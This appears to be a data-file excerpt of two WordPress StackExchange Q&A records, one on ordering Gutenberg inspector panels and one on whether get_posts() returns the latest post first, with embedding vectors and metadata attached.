0.022430419921875, -0.031158447265625, -0.049530029296875, -0.07537841796875, -0.058868408203125, 0.0097503662109375, -0.06353759765625, 0.07720947265625, -0.00832366943359375, 0.00888824462890625, 0.06878662109375, -0.0374755859375, 0.059844970703125, 0.029632568359375, -0.0142059326171875, -0.0227813720703125, -0.04022216796875, 0.030670166015625, 0.056427001953125, -0.052032470703125, 0.031768798828125, -0.00727081298828125, -0.01904296875, -0.01331329345703125, 0.016387939453125, 0.10107421875, -0.044464111328125, -0.01523590087890625, 0.033050537109375, -0.01641845703125, -0.020355224609375, 0.0031795501708984375, 0.05767822265625, -0.034515380859375, -0.0181884765625, 0.028106689453125, -0.00656890869140625, -0.037261962890625, 0.005062103271484375, -0.0008115768432617188, 0.09393310546875, -0.01291656494140625, -0.0404052734375, 0.034576416015625, 0.046356201171875, -0.0265045166015625, 0.03192138671875, -0.0416259765625, 0.03314208984375, -0.01502227783203125, 0.0594482421875, -0.019195556640625, 0.00936126708984375, 0.030364990234375, 0.002696990966796875, 0.004604339599609375, 0.006870269775390625, -0.0241241455078125, 0.01418304443359375, 0.039794921875, -0.043487548828125, -0.0308380126953125, 0.07122802734375, 0.0133514404296875, 0.0240936279296875, 0.019866943359375, 0.005535125732421875, 0.053924560546875, -0.024658203125, -0.029754638671875, 0.01230621337890625, 0.031768798828125, 0.038818359375, -0.0223388671875, 0.04931640625, -0.05377197265625, -0.00476837158203125, 0.0382080078125, 0.034698486328125, 0.00213623046875, -0.021026611328125, -0.0260162353515625, -0.015838623046875, 0.01023101806640625, -0.016937255859375, 0.012786865234375, -0.0200653076171875, 0.0141143798828125, -0.0261993408203125, 0.016754150390625, 0.01861572265625, -0.07257080078125, -0.00885772705078125, 0.01036834716796875, -0.0498046875, 0.0005197525024414062, -0.00897979736328125, 0.0212554931640625, -0.0114593505859375, 0.058319091796875, 0.030792236328125, -0.0143280029296875, -0.028839111328125, -0.0770263671875, 0.0007600784301757812, 0.0183868408203125, 0.0003981590270996094, 0.025482177734375, -0.0144805908203125, -0.00713348388671875, 0.07373046875, 0.0012731552124023438, 0.005458831787109375, 0.00904083251953125, -0.00720977783203125, 0.00539398193359375, 0.03472900390625, 0.004116058349609375, 0.01171875, -0.01123809814453125, -0.00928497314453125, 0.0096893310546875, 0.044677734375, 0.0007638931274414062, 0.0309600830078125, -0.0218505859375, -0.016571044921875, -0.0157470703125, 0.058319091796875, -0.01509857177734375, 0.0199127197265625, -0.0267181396484375, -0.03753662109375, 0.0038738250732421875, 0.0289764404296875, 0.0078887939453125, 0.03155517578125, 0.032989501953125, 0.036346435546875, 0.0074310302734375, -0.001621246337890625, 0.0853271484375, -0.0008497238159179688, -0.034332275390625, -0.0138397216796875, 0.0501708984375, 0.05218505859375, 0.016082763671875, -0.0102996826171875, 0.076416015625, 0.018585205078125, -0.05572509765625, 0.037750244140625, -0.0192413330078125, -0.02032470703125, 0.01496124267578125, 0.00251007080078125, 0.040771484375, -0.0057220458984375, 0.0029048919677734375, -0.01096343994140625, -0.00021779537200927734, 0.0290679931640625, -0.021697998046875, 0.01108551025390625, -0.0023288726806640625, 0.03314208984375, 0.0235137939453125, -0.0237884521484375, -0.006046295166015625, 0.043609619140625, -0.0022449493408203125, -0.036407470703125, 0.0170135498046875, -0.0197906494140625, -0.0377197265625, -0.018829345703125, -0.06207275390625, 0.04425048828125, 0.051025390625, 0.10614013671875, -0.04217529296875, 0.0401611328125, 0.007526397705078125, 0.0203399658203125, -0.03619384765625, -0.02471923828125, 0.033721923828125, -0.0347900390625, 0.005950927734375, -0.0032806396484375, -0.048919677734375, 0.001285552978515625, 0.030120849609375, 0.0006265640258789062, -0.0016460418701171875, -0.0230712890625, 0.037353515625, 0.025970458984375, -0.01009368896484375, -0.0247802734375, -0.04962158203125, -0.04327392578125, 0.005157470703125, 0.033111572265625, 0.07232666015625, 0.00472259521484375, 0.007415771484375, -0.00585174560546875, -0.039337158203125, 0.0213470458984375, -0.0268707275390625, 0.01000213623046875, 0.00908660888671875, 0.0174713134765625, 0.00408172607421875, -0.0281219482421875, -0.035491943359375, -0.025726318359375, 0.0070953369140625, 0.00726318359375, -0.03515625, -0.01296234130859375, -0.0229644775390625, -0.03216552734375, 0.0011034011840820312, -0.0233154296875, -0.01080322265625, -0.0176239013671875, 0.0031490325927734375, 0.026611328125, -0.07574462890625, -0.010467529296875, -0.0623779296875, 0.00019991397857666016, 0.0241546630859375, -0.036834716796875, -0.0095062255859375, 0.041290283203125, 0.018157958984375, -0.01340484619140625, -0.005268096923828125, -0.0010366439819335938, 0.041229248046875, -0.032806396484375, -0.046783447265625, -0.01345062255859375, 0.03192138671875, -0.020294189453125, -0.01233673095703125, -0.033599853515625, -0.03857421875, -0.04241943359375, 0.05181884765625, -0.0050048828125, 0.0029354095458984375, 0.022216796875, -0.01436614990234375, -0.06024169921875, 0.0053863525390625, 0.00305938720703125, 0.0577392578125, 0.026092529296875, -0.01218414306640625, 0.015838623046875, -0.004730224609375, -0.034698486328125, -0.055755615234375, 0.0213470458984375, -0.05999755859375, 0.007083892822265625, -0.01194000244140625, 0.01323699951171875, 0.020965576171875, -0.038787841796875, -0.08551025390625, 0.0225067138671875, -0.01142120361328125, -0.0251617431640625, -0.03936767578125, -0.02392578125, 0.003170013427734375, 0.001941680908203125, -0.0288543701171875, -0.00597381591796875, -0.044677734375, 0.05938720703125, -0.00803375244140625, -0.01043701171875, 0.01018524169921875, -0.01505279541015625, -0.03167724609375, 0.01364898681640625, 0.0309906005859375, -0.0219268798828125, 0.032806396484375, 0.004974365234375, -0.0088043212890625, 0.039703369140625, -0.0406494140625, -0.0231781005859375, -0.052001953125, -0.0213623046875, 0.012847900390625, 0.0081329345703125, -0.0458984375, -0.0268402099609375, 0.060943603515625, -0.00348663330078125, 0.0257110595703125, 0.0013914108276367188, -0.0163726806640625, 0.020660400390625, 0.0266876220703125, -0.01058197021484375, -0.0012378692626953125, -0.06610107421875, -0.03436279296875, -0.0034160614013671875, 0.0175933837890625, 0.00965118408203125, 0.0012340545654296875, 0.0015506744384765625, -0.0154571533203125, 0.0199127197265625, -0.0013589859008789062, -0.039031982421875, -0.09857177734375, 0.0660400390625, -0.029632568359375, 0.005695343017578125, 0.0038356781005859375, 0.0596923828125, 0.04400634765625, 0.0228118896484375, -0.00574493408203125, 0.023681640625, -0.003620147705078125, 0.0323486328125, 0.003330230712890625, -0.0211029052734375, -0.021209716796875, 0.00823974609375, 0.018829345703125, 0.01194000244140625, -0.0188140869140625, 0.0214996337890625, 0.044342041015625, -0.0292205810546875, -0.033203125, 0.0174560546875, -0.03387451171875, -0.049468994140625, -0.07440185546875, 0.06182861328125, -0.036102294921875, -0.008026123046875, 0.021087646484375, 0.016357421875, 0.01102447509765625, 0.0423583984375, -0.0179901123046875, -0.00455474853515625, -0.0232086181640625, 0.0718994140625, -0.0005750656127929688, -0.0114593505859375 ]
5b119969bc628e71cc2df95504a98405f5cebc41
Wordpress Stackexchange Q: Change order/position of Gutenberg inspector control panel I'm adding a new panel to a Gutenberg block through the editor.BlockEdit wp.block filter. <InspectorControls> <PanelBody title={ __( 'New Settings' ) } initialOpen={ false } > ... </PanelBody> </InspectorControls> The new panel appears on top of the default panels. Is there any way to change the order? To make it show below other panels? I did not find any documentation about this.. A: Again very late for such a question, but since there is no answer YET.. There is undocumented attribute __experimentalGroup which can be used on InspectorControls like this: <InspectorControls __experimentalGroup="typography"> // panels inside </InspectorControls> You can find list of groups by inspecting with React developer tools, some common are color and typography. By applying above attribute, setting is applied on the end of group. Some css tweaking may be needed, as default panels have a little different css classes.
Q: Change order/position of Gutenberg inspector control panel I'm adding a new panel to a Gutenberg block through the editor.BlockEdit wp.block filter. <InspectorControls> <PanelBody title={ __( 'New Settings' ) } initialOpen={ false } > ... </PanelBody> </InspectorControls> The new panel appears on top of the default panels. Is there any way to change the order? To make it show below other panels? I did not find any documentation about this.. A: Again very late for such a question, but since there is no answer YET.. There is undocumented attribute __experimentalGroup which can be used on InspectorControls like this: <InspectorControls __experimentalGroup="typography"> // panels inside </InspectorControls> You can find list of groups by inspecting with React developer tools, some common are color and typography. By applying above attribute, setting is applied on the end of group. Some css tweaking may be needed, as default panels have a little different css classes. A: <InspectorControls> <PanelBody title={ __( 'Settings One' ) }> </PanelBody> <PanelBody title={ __( 'Settings Two' ) }> </PanelBody> <PanelBody title={ __( 'Settings Three' ) > </PanelBody> </InspectorControls> If you insert multiple Panelbody like I did in above code. You will have multiple inspector controls with first one being ope by default. Change the panelbody accordingly to match your desired order.
wordpress
{ "language": "en", "length": 209, "provenance": "stackexchange_00019.jsonl.gz:486371", "question_score": "7", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304211" }
[ -0.039276123046875, -0.0028858184814453125, -0.0268096923828125, 0.036041259765625, -0.01297760009765625, -0.03192138671875, 0.005512237548828125, -0.028778076171875, 0.026641845703125, 0.0460205078125, 0.0023345947265625, -0.027984619140625, 0.020477294921875, -0.03326416015625, -0.04095458984375, -0.0097808837890625, 0.00931549072265625, -0.00794219970703125, -0.007282257080078125, 0.0029811859130859375, -0.0146484375, 0.00934600830078125, -0.012664794921875, -0.00560760498046875, 0.0251007080078125, 0.00827789306640625, 0.031280517578125, -0.0203094482421875, 0.0160369873046875, -0.02783203125, 0.020721435546875, -0.007411956787109375, 0.024017333984375, 0.0007157325744628906, -0.01055145263671875, 0.0311279296875, 0.0285797119140625, -0.01073455810546875, -0.0181884765625, 0.0408935546875, 0.0136871337890625, -0.01171875, -0.044189453125, -0.0189666748046875, -0.0248870849609375, -0.01617431640625, -0.01531219482421875, -0.0482177734375, 0.036468505859375, 0.01361083984375, -0.0001506805419921875, 0.0230255126953125, 0.0022029876708984375, -0.01093292236328125, -0.00841522216796875, -0.00510406494140625, -0.03326416015625, 0.0170745849609375, 0.0003113746643066406, 0.0670166015625, 0.03985595703125, 0.042449951171875, -0.0308074951171875, -0.048614501953125, 0.050689697265625, -0.00597381591796875, 0.04779052734375, 0.029449462890625, -0.0406494140625, 0.050567626953125, 0.02734375, -0.029937744140625, -0.010589599609375, -0.06390380859375, 0.0194091796875, 0.03961181640625, -0.04339599609375, -0.0391845703125, 0.0263519287109375, 0.0052032470703125, -0.0020465850830078125, -0.0007233619689941406, -0.0020122528076171875, -0.035430908203125, 0.01103973388671875, -0.006603240966796875, -0.00994110107421875, -0.0046234130859375, -0.00376129150390625, -0.02734375, -0.01535797119140625, -0.0295867919921875, -0.0033817291259765625, 0.0109405517578125, -0.0261993408203125, -0.0186004638671875, -0.01416015625, 0.0014371871948242188, 0.00922393798828125, 0.0070953369140625, -0.01165008544921875, -0.031219482421875, 0.01486968994140625, -0.0218505859375, 0.0027866363525390625, 0.02325439453125, -0.018524169921875, 0.01526641845703125, 0.03924560546875, 0.029693603515625, -0.00852203369140625, -0.0222015380859375, 0.00667572021484375, -0.026702880859375, -0.039398193359375, -0.0191497802734375, -0.0235595703125, -0.0076751708984375, 0.0275421142578125, -0.04058837890625, -0.01309967041015625, 0.01197052001953125, -0.0235748291015625, -0.006092071533203125, -0.004192352294921875, -0.014190673828125, -0.0194244384765625, 0.0010700225830078125, -0.050750732421875, -0.0264129638671875, -0.0254364013671875, 0.0308837890625, 0.0631103515625, 0.0933837890625, 0.035675048828125, 0.00630950927734375, 0.0102081298828125, 0.0054779052734375, -0.0011138916015625, 0.01514434814453125, -0.02642822265625, -0.0222015380859375, -0.005229949951171875, -0.026611328125, -0.026702880859375, 0.005153656005859375, 0.037353515625, 0.01837158203125, -0.05352783203125, -0.06500244140625, 0.03204345703125, 0.00011557340621948242, 0.04217529296875, -0.0021800994873046875, 0.0008616447448730469, -0.0303955078125, 0.03973388671875, -0.033477783203125, -0.00939178466796875, -0.050994873046875, -0.006786346435546875, 0.0127716064453125, 0.01151275634765625, -0.037017822265625, -0.036590576171875, -0.0269775390625, -0.0196685791015625, -0.0121002197265625, 0.0218658447265625, 0.0289764404296875, -0.032379150390625, -0.00247955322265625, -0.012908935546875, -0.01165008544921875, -0.0162811279296875, 0.00640869140625, 0.0016241073608398438, -0.0193023681640625, 0.00783538818359375, 0.00243377685546875, -0.00907135009765625, -0.02783203125, 0.001987457275390625, 0.015167236328125, -0.0244293212890625, 0.00010818243026733398, -0.01490020751953125, 0.01788330078125, 0.05023193359375, 0.0128173828125, -0.007396697998046875, -0.0247039794921875, -0.041412353515625, 0.0239715576171875, -0.00696563720703125, 0.0292510986328125, -0.0340576171875, 0.0499267578125, -0.01296234130859375, -0.053466796875, 0.026641845703125, 0.0053253173828125, 0.016082763671875, -0.01885986328125, 0.0226287841796875, -0.04534912109375, 0.0187225341796875, 0.01253509521484375, 0.0302886962890625, -0.0261688232421875, -0.00897216796875, -0.054931640625, -0.004100799560546875, 0.019134521484375, -0.037567138671875, 0.0181121826171875, -0.0117645263671875, 0.0721435546875, -0.004978179931640625, 0.04119873046875, 0.0004019737243652344, -0.0159454345703125, 0.0271453857421875, 0.0103912353515625, 0.076171875, 0.0200958251953125, -0.009857177734375, -0.0223541259765625, 0.08624267578125, 0.043487548828125, -0.07049560546875, -0.0310211181640625, 0.032806396484375, 0.04833984375, -0.013336181640625, 0.018585205078125, 0.05615234375, -0.0045318603515625, -0.0010318756103515625, 0.004459381103515625, 0.0252838134765625, 0.0209197998046875, 0.0182952880859375, 0.0447998046875, 0.026458740234375, -0.0156402587890625, 0.03338623046875, -0.010772705078125, -0.003963470458984375, 0.011993408203125, -0.01085662841796875, 0.00714874267578125, 0.0191650390625, 0.0293426513671875, 0.02520751953125, 0.0167999267578125, -0.00650787353515625, 0.00015497207641601562, -0.0225372314453125, -0.00972747802734375, 0.0111083984375, -0.0266265869140625, -0.037994384765625, -0.00574493408203125, 0.048828125, -0.01202392578125, 0.02471923828125, 0.022430419921875, -0.0516357421875, 0.01152801513671875, 0.042633056640625, 0.03369140625, -0.00646209716796875, 0.01018524169921875, 0.0232086181640625, 0.016265869140625, -0.0243377685546875, -0.0009655952453613281, 0.007595062255859375, 0.013916015625, -0.0364990234375, 0.0067291259765625, -0.026580810546875, -0.01544189453125, -0.02313232421875, -0.0211181640625, 0.01898193359375, -0.0213775634765625, -0.035797119140625, -0.037078857421875, 0.0205535888671875, -0.027313232421875, -0.0416259765625, -0.0125274658203125, 0.0142059326171875, -0.03424072265625, 0.03863525390625, -0.03228759765625, 0.004669189453125, -0.01556396484375, 0.0936279296875, 0.061553955078125, -0.0159149169921875, 0.00759124755859375, 0.0151519775390625, 0.0011224746704101562, 0.0283203125, -0.0007395744323730469, -0.025726318359375, 0.0177764892578125, -0.06182861328125, 0.002044677734375, 0.0225372314453125, -0.046234130859375, 0.03326416015625, -0.0012273788452148438, -0.0161590576171875, -0.0037097930908203125, -0.05059814453125, -0.024261474609375, -0.0345458984375, -0.08099365234375, -0.046661376953125, -0.0212249755859375, -0.07281494140625, 0.043853759765625, -0.0114593505859375, -0.00235748291015625, -0.0237884521484375, 0.031585693359375, -0.0096893310546875, -0.0018634796142578125, -0.0265045166015625, 0.01361846923828125, -0.00572967529296875, 0.01171875, 0.0024280548095703125, 0.0357666015625, -0.02069091796875, -0.0401611328125, -0.03656005859375, -0.039306640625, -0.0160980224609375, -0.032958984375, 0.055023193359375, -0.06024169921875, -0.0018768310546875, 0.021209716796875, -0.00409698486328125, 0.009063720703125, -0.01230621337890625, -0.0267333984375, -0.039886474609375, -0.034820556640625, -0.036407470703125, 0.027130126953125, 0.053619384765625, -0.056243896484375, -0.0303192138671875, -0.075439453125, 0.00949859619140625, 0.04180908203125, -0.005229949951171875, -0.057159423828125, -0.0232696533203125, -0.0158233642578125, -0.002689361572265625, -0.0157318115234375, 0.0250396728515625, 0.01519012451171875, 0.057891845703125, 0.0029926300048828125, 0.02935791015625, -0.04998779296875, -0.0572509765625, -0.07794189453125, 0.0228271484375, -0.02435302734375, -0.048004150390625, -0.0229949951171875, -0.00039696693420410156, -0.0153045654296875, -0.0157928466796875, -0.032135009765625, -0.002742767333984375, 0.021759033203125, -0.00658416748046875, 0.04644775390625, -0.016693115234375, -0.01329803466796875, -0.004749298095703125, 0.0640869140625, -0.073486328125, -0.01314544677734375, 0.05322265625, 0.022705078125, -0.02325439453125, -0.0013027191162109375, -0.0845947265625, -0.0225067138671875, -0.07928466796875, 0.025848388671875, 0.00738525390625, -0.03570556640625, -0.00519561767578125, -0.0323486328125, -0.057769775390625, -0.037994384765625, 0.041961669921875, 0.0299072265625, -0.0031452178955078125, -0.01145172119140625, -0.0200347900390625, -0.0152740478515625, -0.01297760009765625, 0.004878997802734375, -0.0606689453125, -0.0140228271484375, -0.049285888671875, 0.05517578125, -0.0003266334533691406, 0.051513671875, -0.01666259765625, 0.046905517578125, -0.0228271484375, 0.061248779296875, 0.00972747802734375, 0.02081298828125, 0.046600341796875, -0.035858154296875, 0.0171051025390625, -0.04742431640625, 0.01381683349609375, 0.0061798095703125, -0.0762939453125, 0.0139617919921875, 0.003047943115234375, 0.02294921875, 0.04937744140625, -0.041107177734375, -0.04656982421875, -0.05010986328125, -0.0657958984375, -0.0006442070007324219, -0.01236724853515625, -0.0187530517578125, -0.062408447265625, -0.059967041015625, -0.0006246566772460938, -0.02288818359375, -0.0199737548828125, 0.003284454345703125, 0.017547607421875, 0.0306243896484375, -0.0025196075439453125, 0.02606201171875, 0.0172576904296875, 0.031524658203125, 0.0193939208984375, 0.030120849609375, -0.0033092498779296875, -0.00849151611328125, 0.03997802734375, -0.0155487060546875, -0.047027587890625, -0.000911712646484375, 0.0390625, -0.003936767578125, -0.0582275390625, 0.026214599609375, -0.043914794921875, 0.02197265625, 0.00604248046875, -0.0277252197265625, 0.029754638671875, -0.00804901123046875, -0.0243682861328125, -0.0224456787109375, 0.007274627685546875, 0.0134735107421875, 0.0258636474609375, 0.001247406005859375, 0.06463623046875, 0.0267791748046875, 0.053436279296875, -0.024871826171875, -0.0171051025390625, 0.005847930908203125, -0.01385498046875, 0.043365478515625, 0.02899169921875, 0.0029430389404296875, 0.01409149169921875, 0.047271728515625, -0.0173492431640625, 0.0190887451171875, 0.0016536712646484375, 0.03973388671875, -0.0180511474609375, -0.0472412109375, -0.016387939453125, -0.0262603759765625, 0.00762939453125, 0.024688720703125, -0.0273284912109375, -0.0247344970703125, -0.0027065277099609375, -0.02886962890625, 0.027923583984375, 0.033538818359375, -0.043121337890625, -0.0005154609680175781, 0.00885772705078125, 0.021240234375, -0.0141754150390625, 0.0008788108825683594, 0.0033721923828125, 0.0302581787109375, -0.01097869873046875, -0.0093231201171875, -0.029388427734375, -0.007434844970703125, 0.0013904571533203125, 0.022796630859375, 0.004489898681640625, 0.0191192626953125, -0.0286102294921875, 0.05853271484375, -0.0157012939453125, -0.005001068115234375, 0.0019464492797851562, 0.0041046142578125, 0.02484130859375, 0.004032135009765625, 0.0162506103515625, 0.0003509521484375, 0.013824462890625, -0.006618499755859375, -0.0139923095703125, -0.01206207275390625, -0.0074462890625, -0.0236663818359375, 0.00751495361328125, -0.00984954833984375, -0.00025582313537597656, -0.03692626953125, -0.0474853515625, -0.0194091796875, -0.0258026123046875, -0.038299560546875, -0.005069732666015625, -0.020111083984375, -0.01122283935546875, 0.01122283935546875, 0.0274810791015625, -0.138427734375, -0.06005859375, 0.00019943714141845703, -0.00698089599609375, 0.04327392578125, -0.035888671875, 0.0445556640625, -0.03955078125, 0.00658416748046875, -0.0693359375, 0.024871826171875, 0.02490234375, 0.02874755859375, 0.00350189208984375, -0.0355224609375, -0.0589599609375, -0.031585693359375, -0.097412109375, -0.046875, -0.0284881591796875, 0.030853271484375, 0.031036376953125, 0.0285491943359375, -0.01873779296875, -0.04473876953125, 0.01389312744140625, 0.004734039306640625, 0.01285552978515625, 0.059478759765625, 0.00968170166015625, 0.05145263671875, -0.0298614501953125, 0.0782470703125, -0.0011644363403320312, -0.007175445556640625, -0.034393310546875, -0.01001739501953125, 0.024871826171875, -0.004119873046875, -0.02545166015625, -0.0408935546875, -0.003204345703125, -0.00627899169921875, 0.038116455078125, -0.01018524169921875, 0.01824951171875, 0.00496673583984375, 0.01224517822265625, -0.021484375, -0.01025390625, -0.0312347412109375, -0.01023101806640625, 0.010406494140625, 0.024261474609375, 0.015289306640625, -0.03179931640625, -0.023895263671875, -0.017547607421875, 0.0269622802734375, -0.0081329345703125, -0.0175628662109375, -0.049163818359375, 0.03363037109375, 0.03973388671875, 0.03448486328125, 0.030242919921875, 0.0159149169921875, 0.033203125, -0.012664794921875, -0.0291748046875, 0.0279541015625, 0.0396728515625, 0.0254364013671875, -0.0257568359375, 0.00991058349609375, 0.02032470703125, -0.01076507568359375, 0.006450653076171875, 0.0229339599609375, 0.01727294921875, -0.06671142578125, 0.018890380859375, -0.01222991943359375, 0.0014009475708007812, 0.00830078125, 0.0229644775390625, -0.030303955078125, -0.046844482421875, 0.048980712890625, -0.042755126953125, 0.01044464111328125, 0.0350341796875, -0.014678955078125, -0.01052093505859375, -0.0159912109375, 0.0142059326171875, -0.004085540771484375, -0.0015926361083984375, -0.00884246826171875, -0.0171051025390625, -0.0006089210510253906, 0.0018262863159179688, 0.0325927734375, 0.0159912109375, -0.013641357421875, -0.039337158203125, 0.00475311279296875, 0.003753662109375, -0.05938720703125, 0.02606201171875, -0.0035610198974609375, 0.046112060546875, 0.03411865234375, -0.01477813720703125, 0.011871337890625, -0.006671905517578125, 0.049224853515625, -0.01220703125, -0.004547119140625, 0.017486572265625, -0.0247955322265625, 0.005565643310546875, 0.0171966552734375, -0.022613525390625, -0.037567138671875, 0.0034847259521484375, 0.033660888671875, 0.0687255859375, -0.0118255615234375, -0.046417236328125, 0.0271453857421875, 0.00179290771484375, 0.006072998046875, 0.0419921875, 0.03045654296875, -0.03485107421875, -0.04718017578125, 0.037994384765625, -0.031768798828125, -0.005481719970703125, 0.055938720703125, -0.03466796875, 0.055755615234375, 0.020599365234375, 0.0005507469177246094, -0.00731658935546875, 0.038543701171875, -0.03741455078125, 0.006969451904296875, -0.0119476318359375, 0.007152557373046875, -0.03863525390625, 0.02252197265625, -0.0751953125, -0.0187835693359375, -0.0281219482421875, 0.07427978515625, 0.0219879150390625, -0.0132293701171875, -0.057464599609375, 0.005542755126953125, 0.06561279296875, 0.040924072265625, 0.0218353271484375, 0.041656494140625, 0.0153350830078125, 0.00848388671875, -0.015411376953125, -0.0038890838623046875, 0.025848388671875, -0.0498046875, -0.044219970703125, 0.0268096923828125, 0.01551055908203125, 0.0260009765625, -0.0183563232421875, 0.02197265625, -0.060943603515625, -0.014739990234375, 0.06549072265625, -0.032501220703125, -0.03265380859375, 0.0302581787109375, 0.0170745849609375, -0.005828857421875, -0.024017333984375, -0.01690673828125, 0.033355712890625, 0.0316162109375, -0.006992340087890625, 0.0255279541015625, 0.03082275390625, -0.09039306640625, 0.0069427490234375, 0.0006265640258789062, 0.034820556640625, -0.0704345703125, -0.0162811279296875, -0.0034770965576171875, 0.0263824462890625, 0.00975799560546875, 0.0430908203125, -0.002758026123046875, -0.03924560546875, -0.009857177734375, -0.03411865234375, 0.0184783935546875, 0.0020542144775390625, -0.0026760101318359375, -0.01580810546875, -0.0019006729125976562, -0.03118896484375, 0.003662109375, -0.00698089599609375, -0.048828125, -0.0198211669921875, 0.04931640625, -0.0002276897430419922, 0.004848480224609375, 0.00963592529296875, -0.07745361328125, -0.007518768310546875, 0.0182952880859375, 0.02923583984375, -0.01184844970703125, -0.0418701171875, 0.02960205078125, 0.019500732421875, 0.028533935546875, -0.056854248046875, 0.01540374755859375, 0.0159149169921875, 0.05633544921875, -0.056427001953125, 0.0295257568359375, 0.0092926025390625, 0.048919677734375, 0.045196533203125, 0.0258026123046875, 0.029754638671875, 0.0237274169921875, 0.049560546875, 0.01018524169921875, 0.015716552734375, -0.0002536773681640625, -0.039459228515625, -0.03253173828125, 0.0064239501953125, 0.038116455078125, 0.00875091552734375, 0.0222015380859375, 0.016510009765625, 0.0382080078125, -0.00782012939453125, 0.0321044921875, 0.00449371337890625, -0.0238800048828125, -0.004150390625, -0.0119171142578125, 0.04656982421875, 0.0212554931640625, -0.02716064453125, -0.00167083740234375, -0.02667236328125, -0.033294677734375, 0.036285400390625, 0.054595947265625, 0.004425048828125, -0.00350189208984375, 0.047393798828125, -0.007671356201171875, -0.0134735107421875, -0.0269012451171875, 0.07672119140625, 0.056610107421875, -0.00904083251953125, 0.0531005859375, -0.0672607421875, -0.0238494873046875, 0.0136566162109375, -0.01444244384765625, -0.040802001953125, 0.06549072265625, 0.0195465087890625, -0.0171051025390625, -0.0172576904296875, 0.00749969482421875, -0.032257080078125, -0.04449462890625, 0.056915283203125, 0.0218353271484375, 0.00534820556640625, -0.002979278564453125, -0.01187896728515625, -0.00835418701171875, 0.0297088623046875, -0.002658843994140625, 0.000035822391510009766, -0.04803466796875, 0.03179931640625, 0.01233673095703125, -0.0018520355224609375, -0.0362548828125, -0.0684814453125, -0.0718994140625, 0.01554107666015625, 0.0030803680419921875, 0.02508544921875, -0.0009694099426269531, 0.0299530029296875, 0.0293121337890625, 0.041046142578125, 0.0032558441162109375, 0.028778076171875, 0.033935546875, 0.0305633544921875, -0.04656982421875, -0.0545654296875, -0.020233154296875, -0.017425537109375, -0.0211944580078125, 0.01165771484375, 0.022186279296875, 0.004207611083984375, 0.018463134765625, 0.0062103271484375, 0.04339599609375, 0.046722412109375, -0.024871826171875, 0.0144805908203125, 0.046051025390625, -0.028656005859375, -0.018218994140625, 0.051788330078125, -0.01201629638671875, 0.02642822265625, 0.0177459716796875, -0.01235198974609375, 0.044189453125, -0.0185699462890625, -0.02606201171875, 0.01016998291015625, 0.00902557373046875, 0.01438140869140625, -0.0865478515625, 0.057464599609375, 0.0087738037109375, 0.0237579345703125, -0.017547607421875, 0.06988525390625, -0.01395416259765625, -0.0137176513671875, -0.07818603515625, -0.013336181640625, -0.0156097412109375, 0.0239715576171875, -0.018096923828125, -0.00641632080078125, 0.001026153564453125, -0.00989532470703125, 0.0213623046875, -0.0279541015625, 0.005756378173828125, 0.0153045654296875, -0.03143310546875, -0.00008481740951538086, -0.006214141845703125, 0.037078857421875, -0.0205230712890625, -0.0718994140625, 0.01021575927734375, -0.005771636962890625, 0.008270263671875, -0.0128021240234375, -0.00423431396484375, 0.002773284912109375, -0.04498291015625, -0.050689697265625, 0.0201263427734375, -0.0035572052001953125, -0.032745361328125, -0.0213470458984375, 0.041778564453125, -0.032257080078125, 0.031494140625, -0.006282806396484375, -0.02825927734375, 0.04400634765625, 0.0242919921875, -0.0220947265625, 0.0306396484375, 0.021697998046875, -0.03167724609375, -0.01120758056640625, -0.0238189697265625, -0.008575439453125, -0.011810302734375, -0.0254364013671875, -0.0046234130859375, 0.0067901611328125, 0.0015611648559570312, -0.03851318359375, -0.0205078125, 0.010284423828125, 0.06884765625, 0.0007443428039550781, -0.0216827392578125, -0.03631591796875, -0.0205535888671875, 0.046630859375, 0.054290771484375, 0.00711822509765625, -0.0198211669921875, 0.01528167724609375, 0.0104827880859375, 0.0012922286987304688, -0.0212249755859375, 0.005809783935546875, -0.055999755859375, -0.045135498046875, -0.0014295578002929688, -0.039154052734375, 0.043304443359375, -0.00437164306640625, -0.04217529296875, 0.007843017578125, -0.04278564453125, -0.0223846435546875, -0.082763671875, -0.0160980224609375, 0.06390380859375, -0.051544189453125, -0.051177978515625, 0.0241546630859375, 0.00812530517578125, 0.0002522468566894531, -0.001651763916015625, -0.0142822265625, -0.021575927734375, -0.0211639404296875, 0.018463134765625, -0.0081939697265625, 0.0269775390625, -0.0240478515625, -0.0110321044921875, -0.0239715576171875, -0.037811279296875, 0.003879547119140625, -0.08221435546875, -0.029022216796875, 0.0185699462890625, -0.019775390625, 0.08502197265625, 0.0027751922607421875, 0.035003662109375, 0.00016224384307861328, 0.0170745849609375, 0.02789306640625, -0.031219482421875, 0.0701904296875, -0.03826904296875, 0.01470184326171875, 0.0220489501953125, 0.034698486328125, 0.0188446044921875, -0.017547607421875, -0.025115966796875, 0.006381988525390625, -0.02667236328125 ]
b2d3c101f8375fb33153323958b41fb81018bdd1
Wordpress Stackexchange Q: Is the first item returned by get_posts() always the latest post? I want to retrieve the modification date of the latest post. To do this, first I get the latest post: $latest_post = get_posts()[0]; Can I be certain that the returned object is always the latest post or are there circumstances where the order of objects returned by get_posts() is different? A: Yes and Maybe Yes: According to https://developer.wordpress.org/reference/functions/get_posts/ the default is ordered by date in a descending order. Maybe: But plugins may change the query through ie hook(s) pre_get_posts. * *https://developer.wordpress.org/reference/hooks/pre_get_posts/ *https://developer.wordpress.org/reference/classes/featured_content/pre_get_posts/
Q: Is the first item returned by get_posts() always the latest post? I want to retrieve the modification date of the latest post. To do this, first I get the latest post: $latest_post = get_posts()[0]; Can I be certain that the returned object is always the latest post or are there circumstances where the order of objects returned by get_posts() is different? A: Yes and Maybe Yes: According to https://developer.wordpress.org/reference/functions/get_posts/ the default is ordered by date in a descending order. Maybe: But plugins may change the query through ie hook(s) pre_get_posts. * *https://developer.wordpress.org/reference/hooks/pre_get_posts/ *https://developer.wordpress.org/reference/classes/featured_content/pre_get_posts/
wordpress
{ "language": "en", "length": 94, "provenance": "stackexchange_00019.jsonl.gz:486385", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304248" }
